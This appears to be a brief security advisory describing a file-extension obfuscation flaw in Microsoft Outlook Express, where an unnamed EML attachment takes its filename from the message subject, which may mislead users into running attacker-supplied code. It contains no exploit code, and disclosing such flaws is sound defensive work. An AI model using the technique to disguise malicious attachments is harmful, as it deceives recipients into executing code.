Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.

The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.

Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code.

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.
